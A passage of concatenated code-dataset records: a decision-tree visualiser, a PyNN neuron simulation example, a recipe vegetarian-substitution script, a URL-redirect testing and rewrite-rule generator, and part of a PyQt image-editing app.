results\")\n\tparser.add_argument(\"-d\", \"--detailed\", action=\"store_const\",\n\t\t\t\t\t\t\t\t\t\t\t\tconst=True, default=False,\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"Print out detailed leaf usage\")\n\tparser.add_argument(\"-r\", \"--doNotInvokeR\", action=\"store_const\",\n\t\t\t\t\t\t\t\t\t\t\t\tconst=True, default=False,\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"Skip graphing the results with R\")\n\tparser.add_argument(\"-l\", \"--labelAttribs\", action=\"store_true\",\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"Label each dot with a corresponding attribute\")\n\tparser.add_argument(\"treeFile\", metavar=\"tree-file\", \n\t\t\t\t\t\t\t\t\t\t\t\ttype=argparse.FileType(\"r\"), \n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"The input decision tree file\")\n\tparser.add_argument(\"arffFiles\", metavar=\"ARFF-file\", nargs=\"+\",\n\t\t\t\t\t\t\t\t\t\t\t\ttype=argparse.FileType(\"r\"),\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"The input ARFF data file(s)\")\n\tparser.add_argument(\"-o\", \"--outfile\", metavar=\"output-file\", nargs=\"?\",\n\t\t\t\t\t\t\t\t\t\t\t\ttype=argparse.FileType(\"a\"), default=\"dataFile.csv\",\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"The output csv file to append \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"(default: dataFile.csv)\")\n\n\targs = parser.parse_args()\n\n\tdecisionTree = parseDecisionTree(args.treeFile)\n\n\tif args.printTree:\n\t\tdecisionTree.printTree()\n\t\n\tif args.labelAttribs:\n\t\toutputColumnHeaders(decisionTree, args.outfile)\n\n\tfor arffFile in args.arffFiles:\n\t\t(attributes, instances) = readARFFFile(arffFile)\n\t\tleaves = executeDecisionTree(decisionTree, attributes, instances)\n\t\n\t\tif args.classify:\n\t\t\tprintSummary(leaves)\n\n\t\tif args.detailed:\n\t\t\tprintLeafUse(leaves)\n\n\t\toutputDPDNA(decisionTree, args.outfile)\n\n\t# Close the output file so R can read it\n\targs.outfile.close()\n\n\tif not args.doNotInvokeR:\n\t\tscriptDir=os.path.dirname(sys.argv[0])\n\t\trScriptPath = os.path.join(scriptDir, \"draw.r\")\n\n\t\tif args.labelAttribs:\n\t\t\tuseHeader=\"TRUE\"\n\t\telse:\n\t\t\tuseHeader=\"FALSE\"\n\t\trCommand = \"useHeader=\" + useHeader + \"; source(\\\"\" + rScriptPath+\"\\\")\"\n\n\t\trExecutablePath = \"r\"\n\t\tsubprocess.check_output([rExecutablePath, \"-e\", rCommand])\n","repo_name":"kc0bfv/DecisionTreeDNA","sub_path":"j48Vis.py","file_name":"j48Vis.py","file_ext":"py","file_size_in_byte":12926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37725092042","text":"\"\"\"\nA demonstration of the use of the PointNeuron model, which allows the composition\nof any neuron model with an unlimited number of different synapse models\n(although not all combinations will be available on all backend simulators).\n\nUsage: multi_synapse.py [-h] [--plot-figure] [--debug DEBUG] simulator\n\npositional arguments:\n simulator neuron, nest, brian or another backend simulator\n\noptional arguments:\n -h, --help show this help message and exit\n --plot-figure Plot the simulation results to a file.\n --debug DEBUG Print debugging information\n\n\"\"\"\n\n\nfrom pyNN.parameters import Sequence\nfrom pyNN.utility import get_simulator, init_logging, normalized_filename\n\n\n# === Configure the simulator ================================================\n\nsim, options = get_simulator((\"--plot-figure\", \"Plot the simulation results to a file.\", {\"action\": \"store_true\"}),\n (\"--debug\", \"Print debugging information\"))\n\nif options.debug:\n init_logging(None, debug=True)\n\nsim.setup(timestep=0.1, min_delay=1.0)\n\n\n# === Build and instrument the network =======================================\n\ncelltype = sim.PointNeuron(\n sim.AdExp(tau_m=10.0, v_rest=-60.0),\n AMPA=sim.AlphaPSR(tau_syn=1.0, e_syn=0.0),\n NMDA=sim.AlphaPSR(tau_syn=20.0, e_syn=0.0),\n GABAA=sim.AlphaPSR(tau_syn=1.5, e_syn=-70.0),\n GABAB=sim.AlphaPSR(tau_syn=15.0, e_syn=-90.0))\n\nneurons = sim.Population(1, celltype, initial_values={'v': -60.0})\n\nneurons.record(['v', 'AMPA.gsyn', 'NMDA.gsyn', 'GABAA.gsyn', 'GABAB.gsyn'])\n\nprint(\"tau_m = \", neurons.get(\"tau_m\"))\nprint(\"GABAA.e_syn = \", neurons.get(\"GABAA.e_syn\"))\n\ninputs = sim.Population(4,\n sim.SpikeSourceArray(spike_times=[\n Sequence([30.0]),\n Sequence([60.0]),\n Sequence([90.0]),\n Sequence([120.0])])\n )\n\nconnections = {\n \"AMPA\": sim.Projection(inputs[0:1], neurons, sim.OneToOneConnector(),\n synapse_type=sim.StaticSynapse(weight=0.01, delay=1.5),\n receptor_type=\"AMPA\", label=\"AMPA\"),\n \"GABAA\": sim.Projection(inputs[1:2], neurons, sim.OneToOneConnector(),\n synapse_type=sim.StaticSynapse(weight=0.1, delay=1.5),\n receptor_type=\"GABAA\", label=\"GABAA\"),\n \"NMDA\": sim.Projection(inputs[2:3], neurons, sim.OneToOneConnector(),\n synapse_type=sim.StaticSynapse(weight=0.005, delay=1.5),\n receptor_type=\"NMDA\", label=\"NMDA\"),\n}\n# === Run the simulation =====================================================\n\nsim.run(200.0)\n\n\n# === Save the results, optionally plot a figure =============================\n\n#filename = normalized_filename(\"Results\", \"multi_synapse\", \"pkl\", options.simulator)\nfilename = \"Results/multi_synapse_{}.pkl\".format(options.simulator)\ndata = neurons.get_data().segments[0]\n\nif options.plot_figure:\n from pyNN.utility.plotting import Figure, Panel\n figure_filename = filename.replace(\"pkl\", \"png\")\n Figure(\n Panel(data.filter(name='v')[0],\n xticks=False, yticks=True,\n ylabel=\"Membrane potential (mV)\"), #ylim=(-66, -48)),\n Panel(data.filter(name='AMPA.gsyn')[0],\n xticks=False, yticks=True,\n ylabel=\"AMPA Conductance (uS)\"),\n Panel(data.filter(name='NMDA.gsyn')[0],\n xticks=False, yticks=True,\n ylabel=\"NMDA Conductance (uS)\"),\n Panel(data.filter(name='GABAA.gsyn')[0],\n xticks=False, yticks=True,\n ylabel=\"GABAA Conductance (uS)\"),\n Panel(data.filter(name='GABAB.gsyn')[0],\n xticks=True, yticks=True,\n xlabel=\"Time (ms)\",\n ylabel=\"GABAB Conductance (uS)\"),\n title=\"Neuron with multiple synapse time constants\",\n annotations=\"Simulated with %s\" % options.simulator.upper()\n ).save(figure_filename)\n print(figure_filename)\n\n# === Clean up and quit ========================================================\n\nsim.end()\n","repo_name":"NeuralEnsemble/PyNN","sub_path":"examples/multi_synapse.py","file_name":"multi_synapse.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","stars":256,"dataset":"github-code","pt":"78"} +{"seq_id":"73466451131","text":"from nltk import word_tokenize\nfrom pageScraper import urlScraper\nfrom IngredientParser import parseTextChunk, Ingredient\nfrom vegetarian_pair import vegetarian_nonvegetarian, protein_subs, vegetables, all_non_veg\n\ndef sauce_replacement(sentence): \n sentence = word_tokenize(sentence)\n for word in range(len(sentence)): \n if word+1 < len(sentence) and ' '.join([sentence[word], sentence[word+1]]) in vegetarian_nonvegetarian[-1]['non_vegetarian']:\n sentence[word] = vegetarian_nonvegetarian[-1]['vegetarian']\n sentence.pop(word+1)\n for pair in vegetarian_nonvegetarian:\n if word in pair['non_vegetarian']:\n sentence[word] = pair['vegetarian']\n ans = \" \".join(sentence)\n return ans\n\ndef food_replacement(sentence):\n sentence = sauce_replacement(sentence)\n sentence = word_tokenize(sentence)\n for word in sentence: \n for pair in vegetarian_nonvegetarian:\n if word in pair['non_vegetarian']:\n sentence[sentence.index(word)] = pair['vegetarian']\n ans = \" \".join(sentence)\n return ans\n\ndef transform_vegetarian(page): \n ingredients, directions = urlScraper(page)\n grammar = r\"CHUNK: {}\"\n totalIng = []\n for index, direction in enumerate(directions): \n directions[index] = food_replacement(direction)\n for index, ingredient in enumerate(ingredients): \n ingredient = food_replacement(ingredient)\n print(ingredient)\n name, unit, amount, preperation = parseTextChunk(ingredient, grammar)\n #for substitute_pair in vegetarian_nonvegetarian:\n # if substitute_pair['vegetarian'] in name and len(name) > len(substitute_pair['vegetarian']):\n # name = substitute_pair['vegetarian']\n totalIng.append(Ingredient(name, unit, amount, preperation)) \n #print ingredients \n for item in totalIng:\n print(\"Name: \" + item.name)\n print(\"Unit: \" + str(item.unit))\n print(\"Amount: \" + str(item.quantity))\n print(\"Preperation: \" + str(item.preperation))\n print('\\n')\n #print directions\n for index, direction in enumerate(directions): \n print(\"Step {}: {} \\n\".format(index + 1, direction))\n\n# below will be the reverse: vegetarian -> non-vegetarian\n\ndef food_replacement_from(sentence):\n sentence = word_tokenize(sentence)\n for word in sentence: \n if word in protein_subs:\n sentence[sentence.index(word)] = 'chicken'\n #break\n ans = \" \".join(sentence)\n return ans\n\ndef food_replacement_from2(sentence):\n sentence = word_tokenize(sentence)\n changed = ''\n for word in sentence: \n if word in vegetables:\n if changed == '' or word == changed:\n changed = word\n sentence[sentence.index(word)] = 'chicken'\n ans = \" \".join(sentence)\n return ans\n\ndef transform_from_vegetarian(page): \n ingredients, directions = urlScraper(page)\n grammar = r\"CHUNK: {}\"\n totalIng = []\n\n meats = False\n # replaces protein substitute with chicken\n for index, direction in enumerate(directions):\n if not meats:\n directions[index] = food_replacement_from(direction)\n # check if any meat in direction\n meats = any(x in all_non_veg for x in word_tokenize(direction))\n # if still no meat, then change a vegetable to chicken\n if not meats:\n for index, direction in enumerate(directions): \n if not meats:\n directions[index] = food_replacement_from2(direction)\n meats = any(x in all_non_veg for x in word_tokenize(direction))\n\n for index, ingredient in enumerate(ingredients):\n if not meats:\n ingredient = food_replacement_from2(ingredient)\n else:\n ingredient = food_replacement_from(ingredient)\n print(ingredient)\n name, unit, amount, preperation = parseTextChunk(ingredient, grammar)\n totalIng.append(Ingredient(name, unit, amount, preperation)) \n #print ingredients \n for item in totalIng:\n print(\"Name: \" + item.name)\n print(\"Unit: \" + str(item.unit))\n print(\"Amount: \" + str(item.quantity))\n print(\"Preperation: \" + str(item.preperation))\n print('\\n')\n #print directions\n for index, direction in enumerate(directions): \n print(\"Step {}: {} \\n\".format(index + 1, direction))\n","repo_name":"dmarquette2022/Recipe-Parser","sub_path":"vegetarian.py","file_name":"vegetarian.py","file_ext":"py","file_size_in_byte":4423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30952949724","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport re\nimport pandas #https://pypi.python.org/pypi/pandas/0.20.1\nimport requests #https://pypi.python.org/pypi/requests/2.14.2\nimport configparser #https://pypi.python.org/pypi/configparser\nfrom xlutils.copy import copy #https://pypi.python.org/pypi/xlutils/2.0.0\nfrom xlrd import open_workbook #https://pypi.python.org/pypi/xlrd\nfrom xlwt import easyxf #https://pypi.python.org/pypi/xlwt/1.2.0\n\n# read from config file\nconfig= configparser.ConfigParser()\nconfig.read('settings.cfg')\n\ninput_file, URL_column, redirect_column, keep_original_comments, save_every_row, check_for_sharepoint_404, verify_SSL, new_root_domain, complex_regex, strip_query, old_root_domains = str(config['EXCEL FILE']['input_file']), str(config['EXCEL FILE']['URL_column']), str(config['EXCEL FILE']['redirect_column']), (config.getboolean('EXCEL FILE','keep_original_comments')), (config.getboolean('EXCEL FILE','save_every_row')), (config.getboolean('TESTING','check_for_sharepoint_404')), (config.getboolean('TESTING','verify_SSL')), str(config['RULE CREATION']['new_root_domain']), (config.getboolean('RULE CREATION','complex_regex')), (config.getboolean('RULE CREATION','strip_query')), dict(config.items('OLD ROOT DOMAINS'))\n\ndef __sanitize_URLs__(rule, isMap, isHtaccess, isRegex):\n\n current_redirect = str(rule[0]).lower().strip(\" ><\").rstrip('/')\n future_redirect = str(rule[1]).lower().strip(\" ><\").rstrip('/')\n\n domain_list = old_root_domains.values()\n for domain in domain_list:\n current_redirect = current_redirect.replace(domain, \"\")\n if(isRegex):\n current_redirect = current_redirect.replace(\".\", \"\\.\").lstrip('\\/').rstrip('\\/').replace(\"/\", \"\\/\")\n elif(isMap):\n current_redirect = current_redirect.replace(u\"\\u2018\", \"'\").replace(u\"\\u2019\", \"'\").replace(u\"\\u201c\",'').replace(u\"\\u201d\", '').replace('\"', '').replace(u\"\\u0026\", \"&\")\n\n if(strip_query):\n current_redirect = re.sub(r'(\\?).*', r'', current_redirect).rstrip('/') #strip query from any incoming url\n\n future_redirect = future_redirect.replace(u\"\\u2018\", \"'\").replace(u\"\\u2019\", \"'\").replace(u\"\\u201c\",'').replace(u\"\\u201d\", '').replace('\"', '').replace(u\"\\u0026\", \"&\")\n elif(isHtaccess):\n current_redirect = current_redirect.replace(\"%23\", \"#\")\n future_redirect = future_redirect.replace(\"%23\", \"#\")\n return current_redirect, future_redirect\n\ndef __write_rules_to_file__(isRegexRule, isMap, isHtaccess, output_file, format_syntax):\n cols_to_parse=str(URL_column + \", \" + redirect_column)\n rf = pandas.read_excel(input_file, index_col=None, parse_cols=cols_to_parse)\n list_of_redirects = list(rf.values)\n previous_URLS = []\n file_to_write = open(output_file, \"w+\")\n to_prepend = format_syntax[0]\n to_insert = format_syntax[1]\n to_append = format_syntax [2]\n line_endings = \"\\r\\n\"\n if(isHtaccess):\n line_endings = \"\\n\"\n\n if(isMap):\n file_to_write.write('\\r\\n\\t\\r\\n')\n for rule in list_of_redirects:\n current_redirect, future_redirect = __sanitize_URLs__(rule, isMap, isHtaccess, isRegexRule)\n if(isRegexRule):\n to_insert = str('\" stopProcessing=\"true\">\\r\\n\\t\\r\\n\\t\\r\\n')\n else:\n to_append = str( '\" redirectType = \"Permanent\" />\\r\\n')\n print (current_redirect + \" = \" + future_redirect)\n if(current_redirect not in previous_URLS):\n file_to_write.write(str(to_prepend + current_redirect + to_insert + future_redirect + to_append + line_endings))\n else:\n print(\"DUPLICATE ENTRY\")\n previous_URLS.append(current_redirect)\n if(isMap):\n file_to_write.write('\\t\\r\\n')\n file_to_write.close()\n\ndef __test_redirects__():\n df = pandas.read_excel(input_file, index_col=None, parse_cols=URL_column)\n print(df) #prints summary of column with URLs to test\n list_of_links = list(df.values.flatten())\n requests.packages.urllib3.disable_warnings() #get rid of \"SSL cert check disabled\" warnings\n workbook = open_workbook(input_file, formatting_info=True) #only works with .xls documents currently, as per xlrd documentation\n write_copy = copy(workbook)\n sheet = write_copy.get_sheet(0)\n sheet.cell_overwrite_ok = True\n row_number = 1\n\n for link in list_of_links:\n current_link = str(link).strip() #update link from spreadsheet\n try:\n print(\"Requested URL: \" + current_link)\n r = requests.get(current_link, verify=verify_SSL) #attempt to get URL + ignore testing SSL cretificate\n print(\"Redirect URL: \" + str(r.url))\n status_code = str(r.status_code)\n if(check_for_sharepoint_404): #if enabled, check for standard sharepoint 404 page\n if(status_code == \"200\"):\n try:\n title = (str(r.text)).split('')[0] #parse html\n page_title = (title[3:-3])\n if(page_title==\"404 Error\"):\n print(\"URL is generic Sitepoint 404 page!\")\n status_code = \"404\"\n if(not keep_original_comments):\n sheet.write(row_number, 3, \"Sharepoint 404, page does not exist.\")\n except:\n pass\n print(\"Status code: \" + status_code)\n sheet.write(row_number, 1, r.url) #write URL redirect\n sheet.write(row_number, 2, status_code) #write status code\n except requests.exceptions.RequestException as e: #catch failed HTTP request\n status_code = \"404\" #return a 404; this should be the only error triggering an exception\n print(\"ERROR: \" + str(e))\n print(\"Redirect URL: N/A\")\n print(\"Status code: \" + status_code)\n sheet.write(row_number, 3, str(e)) #write error to comments\n sheet.write(row_number, 2, status_code) #write response code\n sheet.write(row_number, 1, \"\") #write blank redirect url\n if(save_every_row):\n write_copy.save(os.path.splitext(input_file)[0] + '-OUT' + os.path.splitext(input_file)[-1]) #saves excel doc after every row if enabled\n row_number+=1 #increment row number so next loop cycle writes to next row in excel sheet\n print(\"===========\")\n write_copy.save(os.path.splitest(input_file)[0] + '-OUT' + os.path.splitext(input_file)[-1]) #save file after all changes are made\n print(\"===================LIST COMPLETE=========================\")\n\ndef __create_redirect_map__():\n print(\"=====REDIRECT MAP======\")\n isRegexRule = False\n isMap = True\n isHtaccess = False\n output_file = \"rewritemaps.config\"\n format_syntax = ['\\t\\t\\r\\n']\n __write_rules_to_file__(isRegexRule, isMap, isHtaccess, output_file, format_syntax)\n print(\"===================REDIRECT MAP CREATED======================\")\n\ndef __create_htaccess__():\n print(\"=====HTACCESS CREATOR======\")\n isRegexRule = False\n isMap = False\n isHtaccess = True\n output_file = \".htaccess\"\n format_syntax = ['Redirect 301 ', \" \", \"\"]\n __write_rules_to_file__(isRegexRule, isMap, isHtaccess, output_file, format_syntax)\n print(\"===================HTACCESS CREATED======================\")\n\ndef __create_redirect_rules__():\n print(\"=====REDIRECT RULES======\")\n isRegexRule = True\n isMap = False\n isHtaccess = False\n output_file = \"rewriterules.txt\"\n format_syntax = [ ' 1: # 检查栈是否为空\n img_stack.pop() # 弹出栈顶元素\n global res\n res = img_stack[-1]\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n else:\n print(\"Stack is empty.\")\n\n def redo_fun(self):\n global img_stack\n while len(img_stack) > 1: # 检查栈中是否还有多于一个元素\n img_stack.pop() # 弹出栈顶元素,直到只剩下一个元素\n global res\n res = img_stack[-1]\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n\n #亮度\n def brighting_img(self):\n value = self.bright_sd.value()\n self.bright_value_lb.setText(str(value)) # 更新显示数值\n self.bright_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n global res\n res = img_stack[-1].copy()\n res = np.clip(res * (value / 100.0) , 0 , 255)\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n def bright_img(self):\n if hasattr(self, 'bright_sd'): # 检查是否已经存在滑动条对象\n self.bright_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self,'bright_value_lb'):\n self.bright_value_lb.deleteLater()\n if hasattr(self,'test1'):\n self.test1.deleteLater()\n self.test1 = QLabel(self)\n self.test1.setFont(QFont(\"\", 10, QFont.Bold))\n self.test1.move(1690,200)\n self.test1.setText(\"亮度:\")\n self.test1.show()\n self.bright_sd = QSlider(self)\n self.bright_sd.move(1785, 200)\n self.bright_sd.resize(200,30)\n # 设置最大值和最小值\n self.bright_sd.setMinimum(0)\n self.bright_sd.setMaximum(400)\n self.bright_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.bright_sd.valueChanged.connect(self.brighting_img)\n self.bright_sd.setValue(0) # 设置初始值\n self.bright_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.bright_sd.setTickInterval(10) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.bright_sd.setOrientation(Qt.Horizontal)\n self.bright_sd.show()\n # 创建用于显示亮度数值的 QLabel\n self.bright_value_lb = QLabel(self)\n self.bright_value_lb.move(1980, 200) # 设置位置\n self.bright_value_lb.show()\n\n #对比度\n def contrasting_img(self):\n value = self.contrast_sd.value()\n self.contrast_value_lb.setText(str(value))\n self.contrast_value_lb.adjustSize()\n global img_stack\n # 调节对比度\n global res\n res = img_stack[-1].copy()\n res = cv2.convertScaleAbs(res , alpha=1.0*value/100)\n # 将像素值范围裁剪到[0, 255]\n res = np.clip(res , 0, 255)\n cv2.imwrite(\"rgb2_show.jpg\", res) # ++++++++++++++\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\")) # ++++++++++++++\n self.img_show_lb.setScaledContents(True)\n def contrast_img(self):\n if hasattr(self, 'contrast_sd'): # 检查是否已经存在滑动条对象\n self.contrast_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self,'contrast_value_lb'):\n self.contrast_value_lb.deleteLater()\n if hasattr(self,'test2'):\n self.test2.deleteLater()\n self.test2 = QLabel(self)\n self.test2.setFont(QFont(\"\", 10, QFont.Bold))\n self.test2.move(1690,300)\n self.test2.setText(\"对比度:\")\n self.test2.show()\n self.contrast_sd = QSlider(self)\n self.contrast_sd.move(1785, 300)\n self.contrast_sd.resize(200,30)\n # 设置最大值和最小值\n self.contrast_sd.setMinimum(0)\n self.contrast_sd.setMaximum(240)\n self.contrast_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.contrast_sd.valueChanged.connect(self.contrasting_img)\n self.contrast_sd.setValue(0) # 设置初始值\n self.contrast_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.contrast_sd.setTickInterval(40) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.contrast_sd.setOrientation(Qt.Horizontal)\n self.contrast_sd.show()\n # 创建用于显示对比度数值的 QLabel\n self.contrast_value_lb = QLabel(self)\n self.contrast_value_lb.move(1980, 300) # 设置位置\n self.contrast_value_lb.show()\n\n #饱和度\n def change_saturation_img(self):\n value = self.saturation_sd.value()\n self.saturation_value_lb.setText(str(value)) # 更新显示数值\n self.saturation_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n global res\n res = img_stack[-1].copy()\n res = res / 255.0 ;res = res * 2 - 1 ;res = (res + 1) / 2 ;res = res * 255.0\n r = res[:, :, 0] ;g = res[:, :, 1]; b = res[:, :, 2]\n # 计算饱和度的调整值\n saturation_adjustment = 1.0*value/100\n # 计算灰度值\n gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n # 根据饱和度的调整值调整RGB通道\n r = r * saturation_adjustment + gray * (1 - saturation_adjustment)\n g = g * saturation_adjustment + gray * (1 - saturation_adjustment)\n b = b * saturation_adjustment + gray * (1 - saturation_adjustment)\n res = np.stack([r, g, b], axis=2)\n res = res / 255.0 ;res= res * 2 - 1 ;res = (res + 1) / 2 ;res = res * 255.0\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n def change_saturation(self):\n if hasattr(self, 'saturation_sd'): # 检查是否已经存在滑动条对象\n self.saturation_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self, 'saturation_value_lb'):\n self.saturation_value_lb.deleteLater()\n if hasattr(self,'test3'):\n self.test3.deleteLater()\n self.test3 = QLabel(self)\n self.test3.setFont(QFont(\"\", 10, QFont.Bold))\n self.test3.move(1690,400)\n self.test3.setText(\"饱和度:\")\n self.test3.show()\n self.saturation_sd = QSlider(self)\n self.saturation_sd.move(1785, 400)\n self.saturation_sd.resize(200, 30)\n # 设置最大值和最小值\n self.saturation_sd.setMinimum(0)\n self.saturation_sd.setMaximum(200)\n self.saturation_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.saturation_sd.valueChanged.connect(self.change_saturation_img)\n self.saturation_sd.setValue(0) # 设置初始值\n self.saturation_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.saturation_sd.setTickInterval(10) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.saturation_sd.setOrientation(Qt.Horizontal)\n self.saturation_sd.show()\n\n # 创建用于显示饱和度数值的 QLabel\n self.saturation_value_lb = QLabel(self)\n self.saturation_value_lb.move(1980, 400) # 设置位置\n self.saturation_value_lb.show()\n\n\n #色调\n def change_hue_img(self):\n value = self.hue_sd.value() / 100.0\n self.hue_value_lb.setText(str(value)) # 更新显示数值\n self.hue_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n global res\n res = img_stack[-1].copy()\n # 获取图像尺寸和通道数\n height, width, channels = res.shape\n # 依次对每个像素点进行处理\n for i in range(height):\n for j in range(width):\n # 获取当前像素点的 RGB 色值\n pixel_r = res[i, j, 0]\n pixel_g = res[i, j, 1]\n pixel_b = res[i, j, 2]\n # 转为 HSV 色值\n h, s, v = colorsys.rgb_to_hsv(pixel_r / 255., pixel_b / 255., pixel_g / 255.)\n # 修改 hue 值\n h = value\n # 转回 RGB 色系\n rgb = colorsys.hsv_to_rgb(h, s, v)\n pixel_r, pixel_g, pixel_b = [int(x * 255.) for x in rgb]\n # 更新像素点的 RGB 色值\n res[i, j, 0] = pixel_r\n res[i, j, 1] = pixel_g\n res[i, j, 2] = pixel_b\n # 保存处理后的图像\n cv2.imwrite('rgb2_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('rgb2_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n def change_hue(self):\n if hasattr(self, 'hue_sd'): # 检查是否已经存在滑动条对象\n self.hue_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self, 'hue_value_lb'):\n self.hue_value_lb.deleteLater()\n if hasattr(self,'test4'):\n self.test4.deleteLater()\n self.test4 = QLabel(self)\n self.test4.setFont(QFont(\"\", 10, QFont.Bold))\n self.test4.move(1690,500)\n self.test4.setText(\"色调:\")\n self.test4.show()\n self.hue_sd = QSlider(self)\n self.hue_sd.move(1785, 500)\n self.hue_sd.resize(200, 30)\n # 设置最大值和最小值\n self.hue_sd.setMinimum(0)\n self.hue_sd.setMaximum(100)\n self.hue_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.hue_sd.valueChanged.connect(self.change_hue_img)\n self.hue_sd.setValue(0) # 设置初始值\n self.hue_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.hue_sd.setTickInterval(10) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.hue_sd.setOrientation(Qt.Horizontal)\n self.hue_sd.show()\n # 创建用于显示色调数值的 QLabel\n self.hue_value_lb = QLabel(self)\n self.hue_value_lb.move(1980, 500) # 设置位置\n self.hue_value_lb.show()\n\n #温度\n def change_temperature_img(self):\n value = self.temperature_sd.value()\n self.temperature_value_lb.setText(str(value)) # 更新显示数值\n self.temperature_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n img = img_stack[-1].copy()\n # 预定义颜色矩阵\n color_matrix = np.array([[1.0, 0.0, 0.0], # 红色通道\n [0.0, 1.0, 0.0], # 绿色通道\n [0.0, 0.0, 1.0]]) # 蓝色通道\n # 根据温度调节度计算颜色矩阵\n if value > 0:\n color_matrix[:, 0] *= value / 100.0 # 增加红色通道\n elif value < 0:\n color_matrix[:, 2] *= abs(value) / 100.0 # 增加蓝色通道\n global res\n # 对图像应用颜色矩阵\n res = cv2.transform(img, color_matrix)\n # 对调整后的像素值进行截断,确保像素值在0到255之间\n res = np.clip(res, 0, 255).astype(np.uint8)\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n def change_temperature(self):\n if hasattr(self, 'temperature_sd'): # 检查是否已经存在滑动条对象\n self.temperature_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self, 'temperature_value_lb'):\n self.temperature_value_lb.deleteLater()\n if hasattr(self,'test5'):\n self.test5.deleteLater()\n self.test5 = QLabel(self)\n self.test5.setFont(QFont(\"\", 10, QFont.Bold))\n self.test5.move(1690,600)\n self.test5.setText(\"温度:\")\n self.test5.show()\n self.temperature_sd = QSlider(self)\n self.temperature_sd.move(1785, 600)\n self.temperature_sd.resize(200, 30)\n # 设置最大值和最小值\n self.temperature_sd.setMinimum(-100)\n self.temperature_sd.setMaximum(100)\n self.temperature_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.temperature_sd.valueChanged.connect(self.change_temperature_img)\n self.temperature_sd.setValue(0) # 设置初始值\n self.temperature_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.temperature_sd.setTickInterval(10) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.temperature_sd.setOrientation(Qt.Horizontal)\n self.temperature_sd.show()\n # 创建用于显示温度数值的 QLabel\n self.temperature_value_lb = QLabel(self)\n self.temperature_value_lb.move(1980, 600) # 设置位置\n self.temperature_value_lb.show()\n\n #旋转\n def rotating_img(self):\n self.img_show_lb.setText(str(self.dial.value()))\n value = self.dial.value()\n global img_stack\n img = img_stack[-1].copy()\n # 计算图像中心坐标\n height, width = img.shape[:2]\n cx, cy = width / 2, height / 2\n # 计算旋转矩阵\n rotation_matrix = cv2.getRotationMatrix2D((cx, cy), value, 1.0)\n # 应用旋转矩阵到图像上\n global res\n res = cv2.warpAffine(img, rotation_matrix, (width, height))\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))#++++++++++++++\n self.img_show_lb.setScaledContents(True)\n def rotate_img(self):\n if hasattr(self, 'dial'): # 检查是否已经存在滑动条对象\n self.dial.deleteLater() # 删除旧的滑动条对象\n self.dial = QDial(self)\n self.dial.move(1800, 100)\n self.dial.resize(80, 80)\n # 设置最大值和最小值\n self.dial.setMinimum(0)\n self.dial.setMaximum(360)\n # 绑定槽函数\n self.dial.valueChanged.connect(self.rotating_img)\n # 外观倒立\n self.dial.setInvertedAppearance(True)\n self.dial.show()\n\n #反转\n def flip_image_horizontal(self):\n img = img_stack[-1].copy()\n # 左右反转图像\n global res\n res = cv2.flip(img, 1)\n img_stack.append(res)\n #cv2.imwrite(\"flipped_image.jpg\", res)\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n def flip_image_vertical(self):\n img = img_stack[-1].copy()\n # 上下反转图像\n global res\n res = cv2.flip(img, 0)\n 